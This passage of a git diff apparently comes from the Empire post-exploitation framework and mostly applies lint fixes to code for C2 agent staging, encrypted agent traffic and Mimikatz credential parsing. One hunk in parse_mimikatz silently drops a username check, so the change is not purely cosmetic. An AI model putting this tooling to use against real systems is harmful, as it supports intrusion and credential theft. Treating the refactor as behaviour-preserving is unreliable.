B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█ +\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[90m█\x1B[90m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[90m█\x1B[90m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[90m█\x1B[90m█ +\x1B[90m█\x1B[90m█\x1B[90m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[90m█\x1B[90m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[90m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[90m█\x1B[90m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[90m█\x1B[90m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[90m█\x1B[90m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[90m█\x1B[90m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[90m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[90m█\x1B[90m█ +\x1B[90m█\x1B[90m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[37m█\x1B[37m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[37m█\x1B[90m█\x1B[90m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[37m█\x1B[90m█\x1B[90m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█ +\x1B[90m█\x1B[90m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█ +\x1B[90m█\x1B[90m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█ +\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[90m█\x1B[90m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█ +\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[90m█\x1B[90m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█ +\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█ +\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█ +\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█ +\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█ +\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[39m """ ) print( diff --git a/empire/client/src/utils/print_util.py b/empire/client/src/utils/print_util.py index e75166a72..8a3193b7f 100644 --- a/empire/client/src/utils/print_util.py +++ b/empire/client/src/utils/print_util.py @@ -34,21 +34,20 @@ def color(string_name, color_name=None): else: return "\x1b[{}m{}\x1b[0m".format(";".join(attr), string_name) + elif string_name.strip().startswith("[!]"): + attr.append("31") + return "\x1b[{}m{}\x1b[0m".format(";".join(attr), string_name) + elif string_name.strip().startswith("[+]"): + attr.append("32") + return "\x1b[{}m{}\x1b[0m".format(";".join(attr), string_name) + elif string_name.strip().startswith("[*]"): + attr.append("34") + return "\x1b[{}m{}\x1b[0m".format(";".join(attr), string_name) + elif string_name.strip().startswith("[>]"): + attr.append("33") + return "\x1b[{}m{}\x1b[0m".format(";".join(attr), string_name) else: - if string_name.strip().startswith("[!]"): - attr.append("31") - return "\x1b[{}m{}\x1b[0m".format(";".join(attr), string_name) - elif string_name.strip().startswith("[+]"): - attr.append("32") - return "\x1b[{}m{}\x1b[0m".format(";".join(attr), string_name) - elif string_name.strip().startswith("[*]"): - attr.append("34") - return "\x1b[{}m{}\x1b[0m".format(";".join(attr), string_name) - elif string_name.strip().startswith("[>]"): - attr.append("33") - return "\x1b[{}m{}\x1b[0m".format(";".join(attr), string_name) - else: - return string_name + return string_name def title(version, server, modules, listeners, agents): diff --git a/empire/server/api/app.py b/empire/server/api/app.py index 10bfca066..39bdfc80c 100644 --- a/empire/server/api/app.py +++ b/empire/server/api/app.py @@ -66,7 +66,7 @@ def load_starkiller(v2App, ip, port): log.info(f"Starkiller served at http://localhost:{port}/index.html") -def initialize( +def initialize( # noqa: PLR0915 secure: bool = False, ip: str = "0.0.0.0", port: int = 1337, run: bool = True ): # Not pretty but allows us to use main_menu by delaying the import diff --git a/empire/server/api/v2/agent/agent_task_api.py b/empire/server/api/v2/agent/agent_task_api.py index 18404c53f..5c3c24269 100644 --- a/empire/server/api/v2/agent/agent_task_api.py +++ b/empire/server/api/v2/agent/agent_task_api.py @@ -308,7 +308,8 @@ async def create_task_upload( # At the moment the data is expected as a string of "filename|filedata" # We could instead take a larger file, store it as a file on the server and store a reference to it in the db. # And then change the way the agents pull down the file. - if len(raw_data) > 1048576: + MAX_BYTES = 1048576 + if len(raw_data) > MAX_BYTES: raise HTTPException( status_code=400, detail="file size too large. Maximum file size of 1MB" ) diff --git a/empire/server/api/v2/websocket/socketio.py b/empire/server/api/v2/websocket/socketio.py index 8cf16ed6b..a2f0c59da 100644 --- a/empire/server/api/v2/websocket/socketio.py +++ b/empire/server/api/v2/websocket/socketio.py @@ -16,7 +16,7 @@ log = logging.getLogger(__name__) -def setup_socket_events(sio, empire_menu): +def setup_socket_events(sio, empire_menu): # noqa: PLR0915 empire_menu.socketio = sio # A socketio user is in the general channel if they join the chat. diff --git a/empire/server/common/agents.py b/empire/server/common/agents.py index 0c745d548..76dbff5e3 100644 --- a/empire/server/common/agents.py +++ b/empire/server/common/agents.py @@ -142,7 +142,7 @@ def is_agent_present(self, sessionID): ) return sessionID in self.agents - def add_agent( + def add_agent( # noqa: PLR0913 self, sessionID, externalIP, @@ -239,7 +239,7 @@ def is_ip_allowed(self, ip_address): else: return True - def save_file( + def save_file( # noqa: PLR0913 self, sessionID, path, @@ -506,7 +506,7 @@ def get_agent_id_db(self, name, db: Session = None): stacklevel=2, ) # db is optional for backwards compatibility until this function is phased out - with db or SessionLocal() as db: + with db or SessionLocal() as db: # noqa: PLR1704 agent = db.query(models.Agent).filter(models.Agent.name == name).first() if agent: @@ -615,7 +615,7 @@ def update_dir_list(self, session_id, response, db: Session): ) ) - def update_agent_sysinfo_db( + def update_agent_sysinfo_db( # noqa: PLR0913 self, db, session_id, @@ -793,7 +793,7 @@ def get_queued_agent_temporary_tasks(self, session_id): # ############################################################### - def handle_agent_staging( + def handle_agent_staging( # noqa: PLR0912 PLR0915 PLR0913 PLR0911 self, sessionID, language, @@ -837,7 +837,9 @@ def handle_agent_staging( ) # client posts RSA key - if (len(message) < 400) or (not message.endswith("")): + if (len(message) < 400) or ( # noqa: PLR2004 + not message.endswith("") + ): message = f"Invalid PowerShell key post format from {sessionID}" log.error(message) return "ERROR: Invalid PowerShell key post format" @@ -889,7 +891,7 @@ def handle_agent_staging( return "ERROR: Invalid PowerShell public key" elif language.lower() == "python": - if (len(message) < 1000) or (len(message) > 2500): + if (len(message) < 1000) or (len(message) > 2500): # noqa: PLR2004 message = f"Invalid Python key post format from {sessionID}" log.error(message) return f"Error: Invalid Python key post format from {sessionID}" @@ -965,7 +967,7 @@ def handle_agent_staging( message = encryption.aes_decrypt_and_verify(session_key, encData) parts = message.split(b"|") - if len(parts) < 12: + if len(parts) < 12: # noqa: PLR2004 message = f"Agent {sessionID} posted invalid sysinfo checkin format: {message}" log.info(message) # remove the agent from the cache/database @@ -1077,7 +1079,7 @@ def handle_agent_staging( message = f"Invalid staging request packet from {sessionID} at {clientIP} : {meta}" log.error(message) - def handle_agent_data( + def handle_agent_data( # noqa: PLR0913 self, stagingKey, routingPacket, @@ -1091,7 +1093,7 @@ def handle_agent_data( Abstracted out sufficiently for any listener module to use. """ - if len(routingPacket) < 20: + if len(routingPacket) < 20: # noqa: PLR2004 message = ( f"handle_agent_data(): routingPacket wrong length: {len(routingPacket)}" ) @@ -1112,7 +1114,7 @@ def handle_agent_data( message = f"handle_agent_data(): invalid sessionID {sessionID}" log.error(message) dataToReturn.append(("", f"ERROR: invalid sessionID {sessionID}")) - elif meta == "STAGE0" or meta == "STAGE1" or meta == "STAGE2": + elif meta in ("STAGE0", "STAGE1", "STAGE2"): message = f"handle_agent_data(): sessionID {sessionID} issued a {meta} request" log.debug(message) @@ -1292,7 +1294,7 @@ def handle_agent_response(self, sessionID, encData, update_lastseen=False): log.error(message, exc_info=True) return None - def process_agent_packet( + def process_agent_packet( # noqa: PLR0912 PLR0915 PLR0913 self, session_id, response_name, task_id, data, db: Session ): """ @@ -1381,7 +1383,7 @@ def process_agent_packet( # sys info response -> update the host info data = data.decode("utf-8") parts = data.split("|") - if len(parts) < 12: + if len(parts) < 12: # noqa: PLR2004 message = f"Invalid sysinfo response from {session_id}" log.error(message) else: @@ -1498,7 +1500,7 @@ def process_agent_packet( data = data.decode("UTF-8") parts = data.split("|") - if len(parts) != 4: + if len(parts) != 4: # noqa: PLR2004 message = f"Received invalid file download response from {session_id}" log.error(message) else: @@ -1694,7 +1696,7 @@ def process_agent_packet( if isinstance(data, str): data = data.encode("UTF-8") parts = data.split(b"\n") - if len(parts) > 10: + if len(parts) > 10: # noqa: PLR2004 date_time = helpers.get_datetime() if parts[0].startswith(b"Hostname:"): # if we get Invoke-Mimikatz output, try to parse it and add diff --git a/empire/server/common/credentials.py b/empire/server/common/credentials.py index 1487cbf53..2d3d9953b 100644 --- a/empire/server/common/credentials.py +++ b/empire/server/common/credentials.py @@ -121,7 +121,7 @@ def get_credentials(self, filter_term=None, credtype=None, note=None, os=None): return results - def add_credential( + def add_credential( # noqa: PLR0913 self, credtype, domain, username, password, host, os="", sid="", notes="" ): """ diff --git a/empire/server/common/encryption.py b/empire/server/common/encryption.py index ac2bdb16d..69cf8bcd9 100644 --- a/empire/server/common/encryption.py +++ b/empire/server/common/encryption.py @@ -163,7 +163,7 @@ def aes_decrypt(key, data): Generate an AES cipher object, pull out the IV from the data and return the unencrypted data. """ - if len(data) > 16: + if len(data) > 16: # noqa: PLR2004 backend = default_backend() IV = data[0:16] cipher = Cipher(algorithms.AES(key), modes.CBC(IV), backend=backend) @@ -179,7 +179,7 @@ def verify_hmac(key, data): if isinstance(key, str): key = bytes(key, "latin-1") - if len(data) > 20: + if len(data) > 20: # noqa: PLR2004 mac = data[-10:] data = data[:-10] expected = hmac.new(key, data, digestmod=hashlib.sha256).digest()[0:10] @@ -197,7 +197,7 @@ def aes_decrypt_and_verify(key, data): """ Decrypt the data, but only if it has a valid MAC. """ - if len(data) > 32 and verify_hmac(key, data): + if len(data) > 32 and verify_hmac(key, data): # noqa: PLR2004 if isinstance(key, str): key = bytes(key, "latin-1") return aes_decrypt(key, data[:-10]) @@ -239,7 +239,7 @@ def rc4(key, data): j = (j + S[i]) % 256 S[i], S[j] = S[j], S[i] if sys.version[0] == "2": - char = ord(char) + char = ord(char) # noqa: PLW2901 out.append(chr(char ^ S[(S[i] + S[j]) % 256]).encode("latin-1")) # out = str(out) tmp = b"".join(out) @@ -343,7 +343,7 @@ def checkPublicKey(self, otherKey): Since a safe prime is used, verify that the Legendre symbol == 1 """ return bool( - otherKey > 2 + otherKey > 2 # noqa: PLR2004 and otherKey < self.prime - 1 and pow(otherKey, (self.prime - 1) // 2, self.prime) == 1 ) diff --git a/empire/server/common/helpers.py b/empire/server/common/helpers.py index 444a8c4be..579f168ed 100644 --- a/empire/server/common/helpers.py +++ b/empire/server/common/helpers.py @@ -402,7 +402,7 @@ def parse_credentials(data): # powershell/collection/prompt output elif parts[0].startswith(b"[+] Prompted credentials:"): parts = parts[0].split(b"->") - if len(parts) == 2: + if len(parts) == 2: # noqa: PLR2004 username = parts[1].split(b":", 1)[0].strip() password = parts[1].split(b":", 1)[1].strip() @@ -421,7 +421,7 @@ def parse_credentials(data): # python/collection/prompt (Mac OS) elif b"text returned:" in parts[0]: parts2 = parts[0].split(b"text returned:") - if len(parts2) >= 2: + if len(parts2) >= 2: # noqa: PLR2004 password = parts2[-1] return [("plaintext", "", "", password, "", "")] @@ -429,7 +429,7 @@ def parse_credentials(data): return None -def parse_mimikatz(data): +def parse_mimikatz(data): # noqa: PLR0912 PLR0915 """ Parse the output from Invoke-Mimikatz to return credential sets. """ @@ -484,7 +484,7 @@ def parse_mimikatz(data): except Exception: pass - if username != "" and password != "" and password != "(null)": + if password not in ("", "(null)"): sid = "" # substitute the FQDN in if it matches @@ -498,7 +498,7 @@ def parse_mimikatz(data): if not (credType == "plaintext" and username.endswith("$")): creds.append((credType, domain, username, password, hostName, sid)) - if len(creds) == 0 and len(lines) >= 13: + if len(creds) == 0 and len(lines) >= 13: # noqa: PLR2004 # check if we have lsadump output to check for krbtgt # happens on domain controller hashdumps for x in range(8, 13): @@ -515,7 +515,7 